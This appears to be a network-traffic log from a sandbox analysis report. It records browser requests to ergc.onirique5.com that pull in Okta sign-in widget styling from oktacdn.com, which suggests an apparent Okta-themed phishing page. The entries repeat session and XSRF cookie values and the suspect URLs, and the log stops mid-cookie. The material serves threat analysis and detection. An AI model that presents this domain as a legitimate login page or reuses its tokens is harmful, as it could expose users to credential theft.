XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T193015Z&X-Amz-Expires=300&X-Amz-Signature=1800d928541e5561037476e94cafde121bd2a524a547ef2d47f8066c36886a06&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56yZwEPy2q6yngKvKqYcMxCefijCvTOyL7R0VjZkQ4J67110 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij38y3sqklHRUOWcyCZrItgSc9nhmpGCRid4sMx4J0opNE9kWxAfCIKX6dtPLVvBp3S5xyz227 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvmvU2eviiQua1XE8tVZ9lojnyopwgkEO2Advvbba5X12130 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVqbWpEOXRoYmJ4d0VVR3ZLcnRnRFE9PSIsInZhbHVlIjoiZnBKVjZaUWczQmFPQ2tEN01DSlhWU2lzLzRHZTZJSW5JaUVHdnYwMnVtY1libW9DRUVmaTI4MVJQcm1EZjJqRG5kV1lEZS9GeDBreXlOT2pIdnFZMEljcFV1bFp0YTVDbzhTa09vUERPL0Y3Y3NWUEFLdFBxR1pRWXBpc25DQzgiLCJtYWMiOiI3MTgyNTEzNTc5MDA4NWM2YTM4YWM0NGIxOTY4OTNjNTQzYTQ2ODYwMTczZDQ4OTcyOTRkZWMwNWM4OTFlZTEzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdTSXFRTnFzQ05acTVYNWh4Q2d5aWc9PSIsInZhbHVlIjoib3VnZkJuTC85R3BHVzdCY2JGZ0NReW1kZFhXdzFDOGh5bkVtMExnb0o3Q0FCZ2lvQVoreG9sazFnTnQ1ZDRwSFdEeDE0ZFE1QU80NTZ5bmloUkhxUE9VQnZuTG4yM1lQcU5NbFdsalVrckNQWXFjSXFtMGg1Yi9ZV2FNYnBQWVYiLCJtYWMiOiI3MDdmMDcwMDQ4MjMxOGUwZjY1NWE2MDZmMTUxMDBjZTFkMmY2ZTgyMzU5NzFjM2E5ODRmODA4YWFhZWM4YzM3IiwidGFnIjoiIn0%3D; 